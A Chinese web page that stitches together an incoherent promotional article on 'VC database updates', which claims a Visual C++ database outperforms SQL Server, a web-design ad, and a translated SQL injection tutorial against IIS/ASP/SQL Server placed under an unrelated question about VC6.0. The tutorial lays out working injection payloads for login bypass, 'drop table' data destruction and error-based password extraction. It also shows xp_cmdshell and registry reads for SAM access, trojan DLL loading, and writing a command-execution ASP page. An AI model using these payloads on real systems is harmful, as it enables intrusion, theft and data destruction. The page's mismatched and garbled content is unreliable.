新聞中心
近年來(lái),隨著信息技術(shù)的快速發(fā)展,企業(yè)管理也隨之變得更加便捷高效。作為支撐企業(yè)管理的重要工具之一,數(shù)據(jù)庫(kù)在各行各業(yè)都扮演著重要角色。在科技、互聯(lián)網(wǎng)、金融等領(lǐng)域,尤其需要依靠數(shù)據(jù)庫(kù)收集、保存、處理和傳遞大量數(shù)據(jù)。為了提高數(shù)據(jù)庫(kù)操作效率,企業(yè)管理者需了解VC數(shù)據(jù)庫(kù)更新的重要性,并采取立即行動(dòng)。

網(wǎng)站建設(shè)哪家好,找創(chuàng)新互聯(lián)公司!專(zhuān)注于網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)站建設(shè)、微信開(kāi)發(fā)、微信小程序開(kāi)發(fā)、集團(tuán)企業(yè)網(wǎng)站建設(shè)等服務(wù)項(xiàng)目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了賈汪免費(fèi)建站歡迎大家使用!
VC數(shù)據(jù)庫(kù)更新—原理解析
VC數(shù)據(jù)庫(kù),也就是Visual C++數(shù)據(jù)庫(kù),是一種常常用于Windows平臺(tái)的高效數(shù)據(jù)庫(kù)。它和Access和SQL Server等主流數(shù)據(jù)庫(kù)相比,具有更優(yōu)異的性能表現(xiàn)和更低的資源消耗。然而,VC數(shù)據(jù)庫(kù)作為一款技術(shù)領(lǐng)先的數(shù)據(jù)庫(kù),仍然存在升級(jí)整合的需求(比如升級(jí)非中文Windows系統(tǒng)的編譯器),而這種VC數(shù)據(jù)庫(kù)的升級(jí)更新方式,也就是VC數(shù)據(jù)庫(kù)更新。
VC數(shù)據(jù)庫(kù)更新,主要有以下幾個(gè)方面:
1. 新增特性跟進(jìn):隨著VC數(shù)據(jù)庫(kù)技術(shù)的不斷發(fā)展,其在安全性、性能、數(shù)據(jù)處理等方面的新特性也在逐步推出。如此一來(lái),企業(yè)管理者可以通過(guò)VC數(shù)據(jù)庫(kù)的升級(jí),更好地體驗(yàn)到新特性帶來(lái)的更高效、更智能的管理體驗(yàn)。
2. 修復(fù)數(shù)據(jù)安全漏洞:在使用VC數(shù)據(jù)庫(kù)過(guò)程中,可能會(huì)遇到某些安全漏洞的問(wèn)題,比如有些敏感信息容易被黑客盜取。VC數(shù)據(jù)庫(kù)更新的一個(gè)重點(diǎn)在于修復(fù)數(shù)據(jù)安全漏洞,保障企業(yè)資產(chǎn)和用戶隱私安全。
3. 優(yōu)化性能表現(xiàn):VC數(shù)據(jù)庫(kù)在大型企業(yè)系統(tǒng)中扮演著重要角色,因此,優(yōu)化它的性能表現(xiàn)并降低資源消耗,也是VC數(shù)據(jù)庫(kù)更新的一個(gè)方向。通過(guò)更新VC數(shù)據(jù)庫(kù),可以更好地提高其性能表現(xiàn),減少系統(tǒng)崩潰、死鎖等問(wèn)題。
4. 跟進(jìn)標(biāo)準(zhǔn)規(guī)范:各國(guó)和專(zhuān)業(yè)技術(shù)機(jī)構(gòu)出臺(tái)的行業(yè)標(biāo)準(zhǔn)和規(guī)范,都需要與之相應(yīng)的技術(shù)體系。VC數(shù)據(jù)庫(kù)更新也會(huì)跟進(jìn)相關(guān)國(guó)家、行業(yè)標(biāo)準(zhǔn)規(guī)范的變化,讓VC數(shù)據(jù)庫(kù)更好地適應(yīng)新環(huán)境和新要求。
VC數(shù)據(jù)庫(kù)更新—驅(qū)動(dòng)力解析
VC數(shù)據(jù)庫(kù)更新是一項(xiàng)長(zhǎng)期迭代的過(guò)程。那么,驅(qū)動(dòng)這項(xiàng)工作的力量是什么呢?
1. 生產(chǎn)和商業(yè)競(jìng)爭(zhēng):對(duì)于企業(yè)而言,VC數(shù)據(jù)庫(kù)是重要的歷史、管理、服務(wù)和決策的支撐件之一。如果使用VC數(shù)據(jù)庫(kù)的企業(yè)無(wú)法及時(shí)升級(jí)更新,那么就會(huì)面臨著利益和市場(chǎng)的困擾,甚至很可能喪失業(yè)務(wù)競(jìng)爭(zhēng)優(yōu)勢(shì)。
2. 技術(shù)發(fā)展:隨著技術(shù)的不斷革新,VC數(shù)據(jù)庫(kù)使用的語(yǔ)言和環(huán)境也在逐步改變,它需要不斷優(yōu)化調(diào)整以適應(yīng)新技術(shù)環(huán)境,才能保證其在未來(lái)的使用兼容性和穩(wěn)定性。
3. 安全風(fēng)險(xiǎn):作為企業(yè)管理中的重要數(shù)據(jù)組成部分,VC數(shù)據(jù)庫(kù)的安全風(fēng)險(xiǎn)包括黑客攻擊、惡意軟件和病毒感染等,這些問(wèn)題通過(guò)VC數(shù)據(jù)庫(kù)更新可以得到更好的解決與預(yù)防。
VC數(shù)據(jù)庫(kù)更新—立即行動(dòng)
知道VC數(shù)據(jù)庫(kù)更新的重要性和驅(qū)動(dòng)力之后,企業(yè)管理者需要采取立即行動(dòng),將其落實(shí)到日常管理工作之中。
1. 制定更新策略:制定VC數(shù)據(jù)庫(kù)更新的計(jì)劃,明確更新目標(biāo)和時(shí)間表,確保每次更新都不會(huì)影響業(yè)務(wù)流程,減少更新后出現(xiàn)問(wèn)題風(fēng)險(xiǎn)。
2. 保證數(shù)據(jù)安全:數(shù)據(jù)是VC數(shù)據(jù)庫(kù)的核心資產(chǎn),保證數(shù)據(jù)安全是VC數(shù)據(jù)庫(kù)更新的重點(diǎn)。更新VC數(shù)據(jù)庫(kù)之前,應(yīng)當(dāng)先對(duì)數(shù)據(jù)進(jìn)行備份。更新后,對(duì)數(shù)據(jù)的完整性、準(zhǔn)確性和安全性進(jìn)行檢查。
3. 進(jìn)行回歸測(cè)試:在將新版本的VC數(shù)據(jù)庫(kù)投入使用之前,需要進(jìn)行完整性測(cè)試,以確保VC數(shù)據(jù)庫(kù)的可用性、效率和性能都得到了提升。
4. 建立反饋機(jī)制:在使用VC數(shù)據(jù)庫(kù)過(guò)程中,很有可能會(huì)碰到問(wèn)題和疑慮。企業(yè)可以建立反饋機(jī)制,讓員工可以提交問(wèn)題和建議,從而及時(shí)改進(jìn)更新方案和措施,提升VC數(shù)據(jù)庫(kù)更新的效果和效率。
總體而言,VC數(shù)據(jù)庫(kù)更新是企業(yè)管理中重要的一環(huán)。只有合理制定更新策略,保證數(shù)據(jù)安全、進(jìn)行回歸測(cè)試和建立有效反饋機(jī)制,才能真正提高VC數(shù)據(jù)庫(kù)效率,助力企業(yè)管理更加便捷高效,提升核心競(jìng)爭(zhēng)力。
相關(guān)問(wèn)題拓展閱讀:
- 如何使用vc6.0和sql2023進(jìn)行連接和數(shù)據(jù)庫(kù)操作(查詢插入更新刪除),更好舉例
如何使用vc6.0和sql2023進(jìn)行連接和數(shù)據(jù)庫(kù)操作(查詢插入更新刪除),更好舉例
這份文檔是詳細(xì)討論SQL注入技術(shù),它適應(yīng)于比較流行的IIS+ASP+SQLSERVER平臺(tái)。它討論了哪些SQL語(yǔ)句能通過(guò)各種各樣的方法注入到應(yīng)用程序中,并且記錄與攻擊相關(guān)的數(shù)據(jù)確認(rèn)和數(shù)據(jù)庫(kù)鎖定。
這份文檔的預(yù)期讀者為與數(shù)據(jù)庫(kù)通信的WEB程序的開(kāi)發(fā)者和那些扮演審核WEB應(yīng)用程序的安全專(zhuān)家。
介紹:
SQL是一種用于關(guān)系數(shù)據(jù)庫(kù)的結(jié)構(gòu)化查詢語(yǔ)言。它分為許多種,但大多數(shù)都松散地基于美國(guó)國(guó)家標(biāo)準(zhǔn)化組織最新的標(biāo)準(zhǔn)SQL-92。典型的執(zhí)核彎隱行語(yǔ)句是query,它能夠收集比較有達(dá)標(biāo)性的記錄并返回一個(gè)單一的結(jié)果集。SQL語(yǔ)言可以修改數(shù)據(jù)庫(kù)結(jié)構(gòu)(數(shù)據(jù)定義語(yǔ)言)和操作數(shù)據(jù)庫(kù)內(nèi)容(數(shù)據(jù)操作語(yǔ)言)。在這份文檔中,我們將特別討論SQLSERVER所使用的Transact-SQL語(yǔ)言。
當(dāng)一個(gè)攻擊者能夠通過(guò)往query中插入一系列的sql語(yǔ)句來(lái)操作數(shù)據(jù)寫(xiě)入到應(yīng)用程序中去,我們管這種方法定義成SQL注入。
一個(gè)典型的SQL語(yǔ)句如下:
Select id,forename,surname from authors
這條語(yǔ)句將返回authors表中所有行的id,forename和surname列。這個(gè)結(jié)果可以被限制,例如:
Select id,forename,surname from authors where forename’john’ and surname=’ith’
需要著重指明的是字符串’john’和’ith’被單引號(hào)限制。明確的說(shuō),forename和surname字段是被用戶提供的輸入限制的,攻擊者可以通過(guò)輸入值來(lái)往這個(gè)查詢中注入一些SQL語(yǔ)句,
如下:
Forename:jo’hn
Surname:ith
查詢語(yǔ)句變?yōu)?
Select id,forename,surname from authors where forename=’jo’hn’ and surname=’ith’
當(dāng)數(shù)據(jù)庫(kù)試圖去執(zhí)行這個(gè)查詢時(shí),它將返回如下錯(cuò)誤:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near ‘hn’
造成這種結(jié)果的原因是插入了.作為定界符的單引號(hào)。數(shù)據(jù)庫(kù)嘗試去執(zhí)行’hn’,但是失敗。如果攻擊者提供特別的輸入如:
Forename:jo’;drop table authors—
Surname:
結(jié)果是authors表被刪除,造成這種結(jié)果的原因我們稍后再講。
看上去好象通過(guò)從輸入中去掉單引號(hào)或者通過(guò)某些方法避免它們都可以解決這個(gè)問(wèn)題。這是可行的,但是用這種方法做解決方法會(huì)存在幾個(gè)困難。之一,并不是所有用戶提供的數(shù)據(jù)都是字符串。如果用戶輸入的是通過(guò)用戶id來(lái)查詢author,那我們的查詢應(yīng)該像這樣:
Select id,forename,surname from authors where id=1234
在這種情況下,一個(gè)攻擊者可以非常簡(jiǎn)單地在數(shù)字的結(jié)尾添加SQL語(yǔ)句,在其他版本的SQL語(yǔ)言中,使用各種各樣的限定符號(hào);在數(shù)據(jù)庫(kù)管理系統(tǒng)JET引擎中,數(shù)據(jù)可以被使用’#’限定。第二,避免單引號(hào)盡管看上去可以,但是是改廳沒(méi)必要的鬧沖,原因我們稍后再講。
我們更進(jìn)一步地使用一個(gè)簡(jiǎn)單的ASP登陸頁(yè)面來(lái)指出哪些能進(jìn)入SQLSERVER數(shù)據(jù)庫(kù)并且嘗試鑒別進(jìn)入一些虛構(gòu)的應(yīng)用程序的權(quán)限。
這是一個(gè)提交表單頁(yè)的代碼,讓用戶輸入用戶名和密碼:
Login Page
Login
Username:
Password:
下面是process_login.asp的代碼,它是用來(lái)控制登陸的:
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
ACCESS DENIED
ACCESS GRANTED
Welcome, ” ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( “ADODB.Connection” );
cn.connectiontimeout = 20;
cn.open( “l(fā)ocalserver”, “sa”, “password” );
username = new String( Request.form(“username”) );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
出現(xiàn)問(wèn)題的地方是process_lgin.asp中產(chǎn)生查詢語(yǔ)句的部分:
Var sql=”select * from users where username='”+username+”‘ and password='”+password+”‘”;
如果用戶輸入的信息如下:
Username:’;drop table users—
Password:
數(shù)據(jù)庫(kù)中表users將被刪除,拒絕任何用戶進(jìn)入應(yīng)用程序?!?hào)在Transact-SQL中表示忽略’—’以后的語(yǔ)句,’;’符號(hào)表示一個(gè)查詢的結(jié)束和另一個(gè)查詢的開(kāi)始?!挥趗sername字段中是必須的,它為了使這個(gè)特殊的查詢終止,并且不返回錯(cuò)誤。
攻擊者可以只需提供他們知道的用戶名,就可以以任何用戶登陸,使用如下輸入:
Username:admin’—
攻擊者可以使用users表中之一個(gè)用戶,輸入如下:
Username:’ or 1=1—
更特別地,攻擊者可以使用完全虛構(gòu)的用戶登陸,輸入如下:
Username:’ union select 1,’fictional_user’,’some_password’,1—
這種結(jié)果的原因是應(yīng)用程序相信攻擊者指定的是從數(shù)據(jù)庫(kù)中返回結(jié)果的一部分。
通過(guò)錯(cuò)誤消息獲得信息
這個(gè)幾乎是David Litchfield首先發(fā)現(xiàn)的,并且通過(guò)作者滲透測(cè)試的;后來(lái)David寫(xiě)了一份文檔,后來(lái)作者參考了這份文檔。這些解釋討論了‘錯(cuò)誤消息‘潛在的機(jī)制,使讀者能夠完全地了解它,潛在地引發(fā)他們的能力。
為了操作數(shù)據(jù)庫(kù)中的數(shù)據(jù),攻擊者必須確定某些數(shù)據(jù)庫(kù)和某些表的結(jié)構(gòu)。例如我們可以使用如下語(yǔ)句創(chuàng)建user表:
Create talbe users(
Id int,
Username varchar(255),
Password varchar(255),
Privs int
)
然后將下面的用戶插入到users表中:
Insert into users values(0,’admin’,’r00tr0x!’,0xffff)
Insert into users values(0,’guest’,’guest’,0x0000)
Insert into users values(0,’chris’,’password’,0x00ff)
Insert into users values(0,’fred’,’sesame’,0x00ff)
如果我們的攻擊者想插入一個(gè)自己的用戶。在不知道users表結(jié)構(gòu)的情況下,他不可能成功。即使他比較幸運(yùn),至于privs字段不清楚。攻擊者可能插入一個(gè)’1’,這樣只給他自己一個(gè)低權(quán)限的用戶。
幸運(yùn)地,如果從應(yīng)用程序(默認(rèn)為ASP行為)返回錯(cuò)誤消息,那么攻擊者可以確定整個(gè)數(shù)據(jù)庫(kù)的結(jié)構(gòu),并且可以以程序中連接SQLSERVER的權(quán)限度曲任何值。
(下面以一個(gè)簡(jiǎn)單的數(shù)據(jù)庫(kù)和asp腳本來(lái)舉例說(shuō)明他們是怎么工作的)
首先,攻擊者想獲得建立用戶的表的名字和字段的名字,要做這些,攻擊者需要使用select語(yǔ)法的having子句:
Username:’ having 1=1—
這樣將會(huì)出現(xiàn)如下錯(cuò)誤:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
Column ‘users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
因此現(xiàn)在攻擊者知道了表的名字和之一個(gè)地段的名字。他們?nèi)匀豢梢酝ㄟ^(guò)把字段放到group by子句只能感去找到一個(gè)一個(gè)字段名,如下:
Username:’ group by users.id having 1=1—
出現(xiàn)的錯(cuò)誤如下:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
Column ‘users.username’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最終攻擊者得到了username字段后:
‘ group by users.id,users.username,users.password,users.privs having 1=1—
這句話并不產(chǎn)生錯(cuò)誤,相當(dāng)于:
select * from users where username=”
因此攻擊者現(xiàn)在知道查詢涉及users表,按順序使用列’id,username,password,privs’。
能夠確定每個(gè)列的類(lèi)型是非常有用的。這可以通過(guò)使用類(lèi)型轉(zhuǎn)化來(lái)實(shí)現(xiàn),例如:
Username:’ union select sum(username) from users—
這利用了SQLSERVER在確定兩個(gè)結(jié)果集的字段是否相等前應(yīng)用sum子句。嘗試去計(jì)算sum會(huì)得到以下消息:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
這告訴了我們’username’字段的類(lèi)型是varchar。如果是另一種情況,我們嘗試去計(jì)算sum()的是數(shù)字類(lèi)型,我們得到的錯(cuò)誤消息告訴我們兩個(gè)的字段數(shù)量不相等。
Username:’ union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我們可以用這種技術(shù)近似地確定數(shù)據(jù)庫(kù)中任何表中的任何字段的類(lèi)型。
這樣攻擊者就可以寫(xiě)一個(gè)好的insert查詢,例如:
Username:’;insert into users values(666,’attacker’,’foobar’,’0xffff)—
這種技術(shù)的潛在影響不僅僅是這些。攻擊者可以利用這些錯(cuò)誤消息顯示環(huán)境信息或數(shù)據(jù)庫(kù)。通過(guò)運(yùn)行一列一定格式的字符串可以獲得標(biāo)準(zhǔn)的錯(cuò)誤消息:
select * from master ..syessages
解釋這些將實(shí)現(xiàn)有趣的消息。
一個(gè)特別有用的消息關(guān)系到類(lèi)型轉(zhuǎn)化。如果你嘗試將一個(gè)字符串轉(zhuǎn)化成一個(gè)整型數(shù)字,那么字符串的所有內(nèi)容會(huì)返回到錯(cuò)誤消息中。例如在我們簡(jiǎn)單的登陸頁(yè)面中,在username后面會(huì)顯示出SQLSERVER的版本和所運(yùn)行的操作系統(tǒng)信息:
Username:’ union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the nvarchar value ‘Microsoft SQL Server.00.194 (Intel X86) Aug:57:48 Copyright (c)Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ‘ to a column of data type int.
/process_login.asp, line 35
這句嘗試去將內(nèi)置的’@@version’常量轉(zhuǎn)化成一個(gè)整型數(shù)字,因?yàn)閡sers表中的之一列是整型數(shù)字。
這種技術(shù)可以用來(lái)讀取數(shù)據(jù)庫(kù)中任何表的任何值。自從攻擊者對(duì)用戶名和用戶密碼比較感興趣后,他們比較喜歡去從users表中讀取用戶名,例如:
Username:’ union select min(username),1,1,1 from users where username>’a’—
這句選擇users表中username大于’a’中的最小值,并試圖把它轉(zhuǎn)化成一個(gè)整型數(shù)字:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the varchar value ‘a(chǎn)dmin’ to a column of data type int.
/process_login.asp, line 35
因此攻擊者已經(jīng)知道用戶admin是存在的。這樣他就可以重復(fù)通過(guò)使用where子句和查詢到的用戶名去尋找下一個(gè)用戶。
Username:’ union select min(username),1,1,1 from users where username>’admin’—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the varchar value ‘chris’ to a column of data type int.
/process_login.asp, line 35
一旦攻擊者確定了用戶名,他就可以開(kāi)始收集密碼:
Username:’ union select password,1,1,1 from users where username=’admin’—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the varchar value ‘r00tr0x!’ to a column of data type int.
/process_login.asp, line 35
一個(gè)更高級(jí)的技術(shù)是將所有用戶名和密碼連接長(zhǎng)一個(gè)單獨(dú)的字符串,然后嘗試把它轉(zhuǎn)化成整型數(shù)字。這個(gè)例子指出:Transavt-SQL語(yǔ)法能夠在不改變相同的行的意思的情況下把它們連接起來(lái)。下面的腳本將把值連接起來(lái):
begin declare @ret varchar(8000)
set @ret=’:’
select @ret=@ret+’ ‘+username+’/’+password from users where
username>@ret
select @ret as ret into foo
end
攻擊者使用這個(gè)當(dāng)作用戶名登陸(都在一行)
Username: ‘; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ‘+username+’/’+password from users where username>@ret select @ret as ret into foo end—
這就創(chuàng)建了一個(gè)foo表,里面只有一個(gè)單獨(dú)的列’ret’,里面存放著我們得到的用戶名和密碼的字符串。正常情況下,一個(gè)低權(quán)限的用戶能夠在同一個(gè)數(shù)據(jù)庫(kù)中創(chuàng)建表,或者創(chuàng)建臨時(shí)數(shù)據(jù)庫(kù)。
然后攻擊者就可以取得我們要得到的字符串:
Username:’ union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the varchar value ‘: admin/r00tr0x! guest/guest chris/password fred/sesame’ to a column of data type int.
/process_login.asp, line 35
然后丟棄(刪除)表來(lái)清楚腳印:
Username:’; drop table foo—
這個(gè)例子僅僅是這種技術(shù)的一個(gè)表面的作用。沒(méi)必要說(shuō),如果攻擊者能夠從數(shù)據(jù)庫(kù)中獲得足夠的錯(cuò)誤西,他們的工作就變的無(wú)限簡(jiǎn)單。
獲得更高的權(quán)限
一旦攻擊者控制了數(shù)據(jù)庫(kù),他們就想利用那個(gè)權(quán)限去獲得網(wǎng)絡(luò)上更高的控制權(quán)。這可以通過(guò)許多途徑來(lái)達(dá)到:
1. 在數(shù)據(jù)庫(kù)服務(wù)器上,以SQLSERVER權(quán)限利用xp_cmdshell擴(kuò)展存儲(chǔ)過(guò)程執(zhí)行命令。
2. 利用xp_regread擴(kuò)展存儲(chǔ)過(guò)程去讀注冊(cè)表的鍵值,當(dāng)然包括SAM鍵(前提是SQLSERVER是以系統(tǒng)權(quán)限運(yùn)行的)
3. 利用其他存儲(chǔ)過(guò)程去改變服務(wù)器
4. 在連接的服務(wù)器上執(zhí)行查詢
5. 創(chuàng)建客戶擴(kuò)展存儲(chǔ)過(guò)程去在SQLSERVER進(jìn)程中執(zhí)行溢出代碼
6. 使用’bulk insert’語(yǔ)法去讀服務(wù)器上的任意文件
7. 使用bcp在服務(wù)器上建立任意的文本格式的文件
8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統(tǒng)存儲(chǔ)過(guò)程去創(chuàng)建ActiveX應(yīng)用程序,使它能做任何ASP腳本可以做的事情
這些只列舉了非常普通的可能攻擊方法的少量,攻擊者很可能使用其它方法。我們介紹收集到的攻擊關(guān)于SQL服務(wù)器的明顯攻擊方法,為了說(shuō)明哪方面可能并被授予權(quán)限去注入SQL.。我們將依次處理以上提到的各種方法:
許多存儲(chǔ)過(guò)程被創(chuàng)建在SQLSERVER中,執(zhí)行各種各樣的功能,例如發(fā)送電子郵件和與注冊(cè)表交互。
Xp_cmdshell是一個(gè)允許執(zhí)行任意的命令行命令的內(nèi)置的存儲(chǔ)過(guò)程。例如:
Exec master..xp_cmdshell ‘dir’
將獲得SQLSERVER進(jìn)程的當(dāng)前工作目錄中的目錄列表。
Exec master..xp_cmdshell ‘net user’
將提供服務(wù)器上所有用戶的列表。當(dāng)SQLSERVER正常以系統(tǒng)帳戶或域帳戶運(yùn)行時(shí),攻擊者可以做出更嚴(yán)重的危害。
另一個(gè)有用的內(nèi)置存儲(chǔ)過(guò)程是xp_regXXXX類(lèi)的函數(shù)。
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
這些函數(shù)的使用方法舉例如下:
exec xp_regread HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’
這將確定什么樣的會(huì)話連接在服務(wù)器上是可以使用的
exec xp_regenumvalues HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
這將顯示服務(wù)器上所有SNMP團(tuán)體配置。在SNMP團(tuán)體很少被更改和在許多主機(jī)間共享的情況下,有了這些信息,攻擊者或許會(huì)重新配置同一網(wǎng)絡(luò)中的網(wǎng)絡(luò)設(shè)備。
這很容易想象到一個(gè)攻擊者可以利用這些函數(shù)讀取SAM,修改系統(tǒng)服務(wù)的配置,使它下次機(jī)器重啟時(shí)啟動(dòng),或在下次任何用戶登陸時(shí)執(zhí)行一條任意的命令。
xp_servicecontrol過(guò)程允許用戶啟動(dòng),停止,暫停和繼續(xù)服務(wù):
exec master..xp_servicecontrol ‘start’,’schedule’
exec master..xp_servicecontrol ‘start’,’server’
下表中列出了少量的其他有用的存儲(chǔ)過(guò)程:
Xp_availablemedia 顯示機(jī)器上有用的驅(qū)動(dòng)器
Xp_dirtree 允許獲得一個(gè)目錄樹(shù)
Xp_enumdsn 列舉服務(wù)器上的ODBC數(shù)據(jù)源
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 允許用戶在服務(wù)器上創(chuàng)建一個(gè)壓縮文件
Xp_ntsec_enumdomains 列舉服務(wù)器可以進(jìn)入的域
Xp_terminate_process 提供進(jìn)程的進(jìn)程ID,終止此進(jìn)程
SQL SERVER提供了一種允許服務(wù)器連接的機(jī)制,也就是說(shuō)允許一臺(tái)數(shù)據(jù)庫(kù)服務(wù)器上的查詢能夠操作另一臺(tái)服務(wù)器上的數(shù)據(jù)。這個(gè)鏈接存放在master.sysservers表中。如果一個(gè)連接的服務(wù)器已經(jīng)被設(shè)置成使用’sp_addlinkedsrvlogin’過(guò)程,當(dāng)前可信的連接不用登陸就可以訪問(wèn)到服務(wù)器?!痮penquery’函數(shù)允許查詢脫離服務(wù)器也可以執(zhí)行。
擴(kuò)展存儲(chǔ)過(guò)程應(yīng)用程序接口是相當(dāng)簡(jiǎn)單的,創(chuàng)建一個(gè)攜帶惡意代碼的擴(kuò)展存儲(chǔ)過(guò)程動(dòng)態(tài)連接庫(kù)是一個(gè)相當(dāng)簡(jiǎn)單的任務(wù)。使用命令行有幾個(gè)方法可以上傳動(dòng)態(tài)連接庫(kù)到SQL服務(wù)器上,還有其它包括了多種自動(dòng)通訊的通訊機(jī)制,比如HTTP下載和FTP腳本。
一旦動(dòng)態(tài)連接庫(kù)文件在機(jī)器上運(yùn)行即SQL服務(wù)器能夠被訪問(wèn)——這不需要它自己是SQL服務(wù)器——攻擊者就能夠使用下面的命令添加擴(kuò)展存儲(chǔ)過(guò)程(這種情況下,我們的惡意存儲(chǔ)過(guò)程就是一個(gè)能輸出服務(wù)器的系統(tǒng)文件的小的木馬):
Sp_addextendedproc ‘xp_webserver’,’c:\temp\xp_foo.dll’
在正常的方式下,這個(gè)擴(kuò)展存儲(chǔ)過(guò)程可以被運(yùn)行:
exec xp_webserver
一旦這個(gè)程序被運(yùn)行,可以使用下面的方法將它除去:
xp_dropextendedproc ‘xp_webserver’
使用’bulk insert’語(yǔ)法可以將一個(gè)文本文件插入到一個(gè)臨時(shí)表中。簡(jiǎn)單地創(chuàng)建這個(gè)表:
create table foo( line varchar(8000) )
然后執(zhí)行bulk insert操作把文件中的數(shù)據(jù)插入到表中,如:
bulk insert foo from ‘c:\inetpub\wwwroot\process_login.asp’
可以使用上述的錯(cuò)誤消息技術(shù),或者使用’union’選擇,使文本文件中的數(shù)據(jù)與應(yīng)用程序正常返回的數(shù)據(jù)結(jié)合,將數(shù)據(jù)取回。這個(gè)用來(lái)獲取存放在數(shù)據(jù)庫(kù)服務(wù)器上的腳本源代碼或者ASP腳本代碼是非常有用的。
使用’bulk insert’的相對(duì)技術(shù)可以很容易建立任意的文本文件。不幸的是這需要命令行工具。’bcp’,即’bulk copy program’
既然 bcp可以從SQL服務(wù)進(jìn)程外訪問(wèn)數(shù)據(jù)庫(kù),它需要登陸。這代表獲得權(quán)限不是很困難,既然攻擊者能建立,或者利用整體安全機(jī)制(如果服務(wù)器配置成可以使用它)。
命令行格式如下:
bcp “select * from text..foo” queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
‘S’參數(shù)為執(zhí)行查詢的服務(wù)器,’U’參數(shù)為用戶名,’P’參數(shù)為密碼,這里為’foobar’
SQL SERVER中提供了幾個(gè)內(nèi)置的允許創(chuàng)建ActiveX自動(dòng)執(zhí)行腳本的存儲(chǔ)過(guò)程。這些腳本和運(yùn)行在windows腳本解釋器下的腳本,或者ASP腳本程序一樣——他們使用VBScript或JavaScript書(shū)寫(xiě),他們創(chuàng)建自動(dòng)執(zhí)行對(duì)象并和它們交互。一個(gè)自動(dòng)執(zhí)行腳本使用這種方法書(shū)寫(xiě)可以在Transact-SQL中做任何在ASP腳本中,或者WSH腳本中可以做的任何事情。為了闡明這鞋,這里提供了幾個(gè)例子:
(1)這個(gè)例子使用’wscript.shell’對(duì)象建立了一個(gè)記事本的實(shí)例:
wscript.shell example
declare @o int
exec sp_oacreate ‘wscript.shell’,@o out
exec sp_oamethod @o,’run’,NULL,’notepad.exe’
我們可以通過(guò)指定在用戶名后面來(lái)執(zhí)行它:
Username:’; declare @o int exec sp_oacreate ‘wscript.shell’,@o out exec sp_oamethod @o,’run’,NULL,’notepad.exe’—
(2)這個(gè)例子使用’scripting.filesystemobject’對(duì)象讀一個(gè)已知的文本文件:
–scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘opentextfile’, @f out, ‘c:\boot.ini’, 1
exec @ret=sp_oamethod @f,’readline’,@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,’readline’,@line out
end
(3)這個(gè)例子創(chuàng)建了一個(gè)能執(zhí)行通過(guò)提交到的任何命令:
— scripting.filesystemobject example – create a ‘run this’.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate ‘scripting.filesystemobject’,@o out
exec sp_oamethod @o,’createtextfile’,@f out,’c:\inetpub\wwwroot\foo.asp’,1
exec @ret=sp_oamethod @f,’writeline’,NULL,”
需要指出的是如果運(yùn)行的環(huán)境是WIN NT4+IIS4平臺(tái)上,那么通過(guò)這個(gè)程序運(yùn)行的命令是以系統(tǒng)權(quán)限運(yùn)行的。在IIS5中,它以一個(gè)比較低的權(quán)限IWAM_XXXaccount運(yùn)行。
(4)這些例子闡述了這個(gè)技術(shù)的適用性;它可以使用’speech.voicetext’對(duì)象引起SQL SERVER發(fā)聲:
declare @o int,@ret int
exec sp_oacreate ‘speech.voicetext’,@o out
exec sp_oamethod @o,’register’,NULL,’foo’,’bar’
exec sp_oasetproperty @o,’speed’,150
exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to,us’,528
waitfor delay ’00:00:05′
我們可以在我們假定的例子中,通過(guò)指定在用戶名后面來(lái)執(zhí)行它(注意這個(gè)例子不僅僅是注入一個(gè)腳本,同時(shí)以admin權(quán)限登陸到應(yīng)用程序):
Username:admin’;declare @o int,@ret int exec sp_oacreate ‘speech.voicetext’,@o out exec sp_oamethod @o,’register’,NULL,’foo’,’bar’ exec sp_oasetproperty @o,’speed’,150 exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to us’,528 waitfor delay ’00:00:05′–
傳說(shuō)如果一個(gè)ASP應(yīng)用程序在數(shù)據(jù)庫(kù)中使用了存儲(chǔ)過(guò)程,那么SQL注入是不可能的。這句話只對(duì)了一半,這要看ASP腳本中調(diào)用這個(gè)存儲(chǔ)過(guò)程的方式。
